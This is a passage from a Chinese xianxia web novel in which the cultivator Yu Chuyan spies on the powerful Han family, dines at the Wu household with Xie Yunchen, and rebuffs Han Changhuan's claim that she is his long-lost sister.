其他人各自分散做事,唯有被打的侍女久久跪于门前,只因小姐未让她起身,她就必须一直会在原地。 余初晏坐在房檐上,只觉一阵索然无味,旁人口中大善人、簪缨世家不过如此。 她踩在高高围墙上,垂头思索,转而去了正房院落。 她到时,一名白衣男子也刚刚踏入院中。 余初晏落到青瓦飞檐处,他若有所感地抬头。 那张面容与余初晏有七八分相似,同样狭长的凤目,鼻梁窄而挺,唯一不同的便是唇。 此男唇薄而唇角微微下垂,不怒自威,显然平时少有笑意待人,不易亲近。 而余初晏唇如弓弧,棱角分明,色如丹艳,五官合在一起,自信且明媚。 即使面无表情,也自带三分雅气,令人生喜。 谢云所说故人应当指的是此人,因为他进屋后,便与屋内之人提及谢云。 “方才下人来报,思儿与谢五在街上因着婚约一事起了口角。” “谢五何时入城?思儿也是,与外男私会,公然商讨嫁娶事宜,我看她是愈发没规矩了!”浑厚的中年男子声紧接着传来。 “谢五今日午时入的城,我看他独身一人步行入城,怕是出了些意外——至于婚约一事,当初与他定下的毕竟是凤儿,拿妹妹硬替姐姐,到底不是什么光彩事……” 中年男子沉默了片刻,道:“谢家肯定是要联姻的,也不是非谢五不可,你看着办。只叫思儿万不可任性,哪是她想选谁就选谁的。” “母亲的病暂时离不得思儿,我心道再留思儿两年……” 男子话还未说完,就被打断,“你母亲那边无需你操心,思儿也留了这么多年了,寻常女子哪像她这般一直待在家中?像什么话?” 年轻男子收了声,不再提及此事,转而道:“朝中有了新动作……” 后面的商谈,余初晏本来无甚兴趣,打算就此离去,听到司明与小草儿还是耐心坐回去旁听了会。 原来是司明联合林将军大义灭亲,凭借着账本,几乎将司家在朝中的毒瘤连根拔起,司家本家当机立断明哲保身。 虽说最后本家未被波及, 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年轻男子很快离开主屋,缓步行走在回廊中,暗卫落于他身前,“谢五公子途中遇刺,为不明人士所救。此后与一女子相伴同行,抵达凤城后女子不见踪影,据可靠情报此女为修真者,实力未知。” 男子冷哼一声,“谢昀宸当真是真龙转世,也不知从何处得来如此多修真者相助。” 他语气里讽刺大过尊敬,“既然他非凤儿不娶,就让他一直给凤儿当鳏夫——去传信与仙师,无论付出什么代价,都将此女除去。” 余初晏不高兴了,趁着男子离开回廊时,将房檐上的雪全扫落他头顶。 被冰垢与雪花混合着淋了满头,男子狼狈地清理头上与衣上碎雪,暗卫跃上屋顶确认不过是意外。 “令人将屋顶上的积雪全部清理干净!房檐的冰锥也不可留!” 罪魁祸首余初晏已经离开了大宅,至于什么仙师,早就死于她手中了,还想除去她,韩长桓还是这么惹人厌。 虽说当年事发时,韩长桓年岁也小,但余初晏很难做到不迁怒他,谁让他是韩家长子,父债子偿不为过。 原本还迷茫的余初晏,一下子有了目标,百年望族,世家之首是吧,那就让这些人活着见到韩家覆灭,多年根基毁于一旦。 那绝对比杀了他们更让他们痛苦,余初晏恶劣地想。 恨屋及乌,本就不喜谢云的余初晏,看他更不顺眼了。 谢云正在马市买马,市集中的马品质不均,总体来说都不算上好的马匹,不过此一时彼一时,如今的谢云不打算挑剔。 他身后跟着两名矮小而精瘦的男子,带着胡人血统。 “谢昀宸。”清脆的女声在耳畔响起。 谢云下意识循声转头,一枚拳头大的雪球擦着他的脸颊而过,在脸上留下一道红痕。 两名下属伸手想拦,可雪球速度太快,反应过来已经近在咫尺,只能拔刀怒视砸雪球之人。 谢云抬手,制止了两人动作,笑道:“余姑娘好本事,在城中转一圈,谢某的名讳都被你知晓了。” 全然没有用假名欺骗余初晏的心虚。 “原来你还是有下属的啊。”余初晏走近些,那张在凤城辨识度极高的脸,另下属还有马贩瞳孔微缩。 “你买马做什么?不继续徒步旅行了。” 谢昀宸唇角扬起,邀请余初晏一同看马,“谢某不比余姑娘,肉体凡胎,也是会累的,有匹马更省事。” 余初晏不怎么懂马也能看出这里的马匹状况不佳,离襄县还有一半路程,就凭这种马,还不如走来得快。 “谢五!”不等余初晏说话,有人风风火火闯来,“有人和我说你在这破马市挑马我还不信,来了也不告诉我,直接上我那……” 那人裹着大氅,身姿圆壮,跑动时腰间玉佩清脆作响,一张养尊处优的脸裹在银狐毛领中。 直到他看清谢昀宸身边那人的容貌,因过于震惊,差点绊倒在地。 哆哆嗦嗦从喉咙中挤出一声惊叫,“韩长桓!你!你!你怎么变成女的了!” 余初晏:“……”哪来的蠢货。 51. 妹妹 狭小的马市一时间十分安静,只余马匹响鼻声与瑟缩的风声。 谢昀宸闷闷地笑,“这位是来自青渊的余姑娘,不是韩兄。” 余初晏狠狠瞪眼前纨绔子弟一眼。 “哦哦……”男子挠挠头,细看之下确实还是不同,眼前的姑娘长得更好看些,“那……你还去我马场挑马不?” 马贩子被人截了胡也不敢吭声,眼前人哪一个他都惹不起。 “天色已晚。”谢昀宸不拒绝也不答应。 男子恍然,“瞧我!先去我家住一晚,明日带你们去挑——” “那恭敬不如从命了。”谢昀宸答应得很快,似乎就在等他这句话。 余初晏抱胸而立,显然不打算参与到他们的话题,更不打算去这个傻子家里。 谢昀宸跟她相处一周,大致了解了她的脾性,凑到她耳边低声道:“吴家太祖御厨出身。” 余初晏眉一挑,那又如何。 “府上厨师更是身怀绝技,堪比御厨,青渊几大菜系也不在话下。” 余初晏眉眼松动了着。 “最重要的是,吴家花苑中有一口天然灵泉——连吴家人都不知道那是灵泉,谢某也是无意间发现。” “余姑娘想要离开凤城也不急于这一时,休整过,明日午时再出发可好?” 谢昀宸早看出余初晏起了离意,虽然不知何事让她这般决议,现下可不能让她随意离开,他眸色转深。 余初晏抬眼与他对视,忽而一笑,这些天两人结伴,余初晏总是臭着脸,很少给他好脸色,骤然绽放的笑容,让谢昀宸呼吸微滞。 “那就走吧。”余初晏扭头,看向呆愣在旁边的傻子,“你叫什么,带路。” “我叫吴子祁,姑娘你怎么称呼。” “余初晏。” “是燕子的燕,还是大雁的雁?” “海晏河清。” “哦哦,余姑娘真的和韩长桓——就是凤城韩家,一点亲戚关系都没有吗?” “我是青渊人,祖上都是。”九阙门世世代代扎根玉虚山,就是纯正的青渊人。 余初晏与吴子祁先一步往外走,谢昀宸因着付给马贩引路钱,落后了半步。 听着两人一问一答的对话,心中失语。 他与余初晏问话,后者常常爱理不理,多数时间直接甩脸子,下一刻禁言咒就要贴上来了。 而吴子祁甫一见面就得罪了余初晏,这会话痨不停歇,余初晏也还算有耐心,有问必答。 可真是,谢昀宸心中叹息,稚子心性,唇角不自觉带笑。 两名下属面露惊恐,五公子何时这般笑过。 吴家很大,和韩家不遑多让,家里人丁同样不多,余初晏随意打听几句,吴子祁就像倒豆子般将家里情况一股脑说出。 吴家祖上御厨发家不假,前朝靠着一手绝顶厨艺,讨得了公主欢心,尚了驸马,从此飞黄腾达。 前朝覆灭时,更是早早抱了宇文家大腿,安然度过乱世,本家如今跟随皇帝上京,家主官居工部尚书,留在凤城的是分家。 吴子祁乃家中独子,上有三个姐姐,嫁得一个比一个好,三姐早些年定下韩家,差点成了韩长桓的正妻,可惜韩长桓无心娶妻,最后嫁给了二房独子。 说到底这些世家错综复杂、利益盘亘不都是靠女人,余初晏心中暗想。 “也好,谁不知道韩夫人那样,免得我金贵的姐姐嫁进去还要服侍她。”虽说如此,吴子祁还是愤愤不平,“你说这韩长桓是不是不能人道,不然这么大年龄了都不娶妻,多半有些毛病。” 余初晏瞥一眼谢昀宸,她记得他与韩长桓年龄相近,都已二十有六。 吴子祁当下给了自己一嘴巴,“我不是说谢五你啊,好歹你还有个未婚妻呢!就是你知道的,韩长桓天天耷拉着嘴角,谁都欠他一万两似的。” 谢昀宸笑,表示自己并不在意。 “听说今天韩思凤还找谢五你逼婚?也太惨了吧,说到底,大家都知道她又不是什么正儿八经的长房小姐,若不是……” “吴兄,背后议论人家事,非君子所为。”谢昀宸还是笑着,笑里多了几分别的意味,眼中情绪明明灭灭。 吴子祁被他这一眼瞧得脊背发凉,轻咳两声转移话题。 余初晏看似不感兴趣,其实思绪万千,留了个心眼。 上门拜访理应见过长辈,几人来到正房,二老已经接到消息候在待客厅。 踏入庭院,一名珠圆玉润、长相富态的女子先迎了出来,声音婉转动听,“夫君有客远道而来,也不提前招呼一声,也好让家中有个准备。” 余初晏第一次在天启见到如此健康体态的女子,没错,她觉得天启平常女子各个都太瘦了。 “又不是什么外人,谢五,淼淼你认识的。”吴子祁高高兴兴去扶夫人。 又将夫人介绍给两位,“这是我夫人,张淼,谢五参加过我婚礼,应当是见过的。” “这位是余初晏,余姑娘。”吴子祁卡了一下,也不知该怎么介绍余初晏。 “我,谢五的保镖,他花钱雇我护送他上陇西。”余初晏张口就来。 谢昀宸没有反驳,与张淼见过同辈礼。 张淼也是认识韩长桓的,他那张脸凤城无人不知,但她只是好奇地打量过余初晏,有涵养地没有多问。 反倒是吴子祁瞪大双目,“余姑娘居然是镖师,果然人不可貌相也!” “一路幸得余姑娘关照,我也算有惊无险抵达凤城。”谢昀宸眼含促狭笑意。 余初晏瞥他,可不是她一路关照吗。 入了室内,又与几位长辈见过礼,吴家也不讲究什么男女大防,就这么一大家子招呼客人热热闹闹聚在圆桌上用膳。 席间堪称“吵闹”,为争夺美食,吴家人全然不顾老幼尊卑,全凭各自手速。 连三岁幼儿使筷子都麻利得很。 像谢昀宸这般慢条斯理用着,根本没吃多少。 哪像余初晏,公筷使得快出残影的同时,还能左手持箸吃得飞快,连吴家人都甘拜下风。 晚膳后,同余初晏一见如故的老夫人忍不住拉着她说话,东扯西扯半天,最后长叹,为何家中独有这么一个孙子。 听闻余初晏想要用温泉,毫不犹豫应下,当即派人领着她去后院。 谢昀宸对温泉无甚兴趣,但两人客房在同一方向,由吴子祁夫妻陪着他们前往。 夜间风寒,吴子祁揽着夫人嘘寒问暖,张淼柔笑,夫妻之间感情甚笃。 余初晏望着两人,不自觉出神,脚下积雪踩得嘎吱作响。 “在想什么?”谢昀宸提着灯,轻声问她。 “嗯……在想傻子都这么话多吗?”余初晏难得态度温和地回他。 谢昀宸垂头看她微颤的长睫,眼中倒映的虽然是吴张二人,分明透过两人在思念旁的故人。 他忍不住将余初晏神游的思绪引回,“余姑娘为何离开青渊?可是家中出了什么变故?” 余初晏一眨眼,终是将目光移开,“算是吧。” “那日后有打算如何?可是要回青渊?”谢昀宸语气里带上了他自己都未曾察觉的紧张。 “大概吧。”余初晏歪头思索,“明年就会回去,在此之前还有别的事要做。” 她给自己订了个小目标,在赵景泽及冠前,就将韩家覆灭了。 首先要拉拢几个同伙,司明不行,她与韩家相识,看起来关系匪浅的样子。 小草儿可以考虑,她转头,对上谢昀宸柔和的目光。 这伪君子搞什么,用这种令人不适的目光看她,余初晏撇嘴,问:“你和韩家关系如何?那韩家小姐这般威胁你,你不生气!” 谢昀宸反问:“你不喜欢韩家?为何?” 余初晏果然不喜欢谢昀宸,他太聪明了,但凡语气或是神情不对,立刻就会被他读出来,有种一切在他眼中无处遁形之感。 应付这种人,你只需要比他更霸道,她眼一横:“是我在问你,少反问我。” 谢昀宸哑然,微微叹息,每次遇上余初晏他都没辙,余初晏从来不跟着他的节奏来。 以往在属下面前所用的手段,威胁也好、利诱也好,统统不起作 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“无妨。”谢昀宸微微一笑,“你又怎知余姑娘真的和韩家一点关系都没有呢,韩家小女儿当年真的死了吗?” 当年不过是韩夫人一言之词,说是女儿被人拐走,韩家封锁了凤城整整三日,挨家挨户搜寻,也没能将小女儿找回。 最后在百姓哀声道怨中不得不解除封锁,但戒严并未解除,各城门严格检查进出城商户、行人。 直到一个月后,一无所获的韩家家主认定小女儿凶多吉少,放弃了搜寻女儿。而韩夫人因为丢失女儿悔恨莫及,急火攻心之下居然患上了疯症。 余初晏无论是长相还是年龄,都能对上,何况韩家女儿当年之所以名动天启,不正是因为她天命所归。 谢昀宸垂着眼,眼中仿佛闪过多年前,他还只是不起眼的庶子,在众多兄弟中母族不占优势,根本得不到关注和资源。 正是因为刚满周岁韩家小女儿一个字,他的命运从此天翻地覆。 他与韩家小女儿订下婚姻,谢家也因此得到了韩家鼎力支持。 无论余初晏是不是当年韩家失踪的女儿,只要运作得当,她就会是。 再凭她修真者身份,他的几位好兄长也能消停一段时间,不会再因仙师道陨而一直攀咬他。 - 此前谢昀宸虽知晓余初晏不会按照他的想法来,也没想到事态发展连他都捉摸不透。 “什么?你妹妹?我是你祖宗还差不多。”余初晏抱胸站着,下巴高抬不屑一顾,“本道修炼百年,第一次见你这般攀亲戚的。” 修炼百年?谢昀宸差点维持不住脸上的面具。 正如吴子祁所说,韩长桓早就得了消息,大清早就上门兴师问罪。 罪是没问上,甫一看到余初晏,韩长桓多年冷漠如冰的面容都出现裂纹,或许是因为血浓于水,他一眼就认定这就是二十年前失踪的韩朝凤,他的亲生妹妹。 他的反应正在谢昀宸的预料之中。 哪知余初晏瞥他一眼,倨傲地说出那番话,连谢昀宸都再做不到稳如泰山。 “你在开玩笑吗?”韩长桓扯出僵硬的笑容,“凤儿莫不是怪爹娘没保护好你,这些年爹一直在暗中寻你,娘还因为弄丢了你,一病不起……” 余初晏抬手打断他,“这位……” “韩长桓。”吴子祁默默补上名字。 余初晏分给他一个赞赏的眼神,“这位韩小友,本道的名讳用了上百年了,还是第一次有人强行让本道改名。” “你还年轻,不了解修真者也正常,金丹以后容颜常驻,元婴以后更是可以修改容颜,本道不过恰好变成这副模样。怎么?你们韩家如此霸道,还不准人长这样!?” 韩长桓当然了解修真者,正是因为他了解,才更接受不了,沉默半响,他哑声道:“那前辈,可是见过这张脸的主人,才变成这幅模样……” 余初晏意味深长看他一眼,“怎么可能见过,你妹妹是否活着,你爹娘不是最清楚了吗?”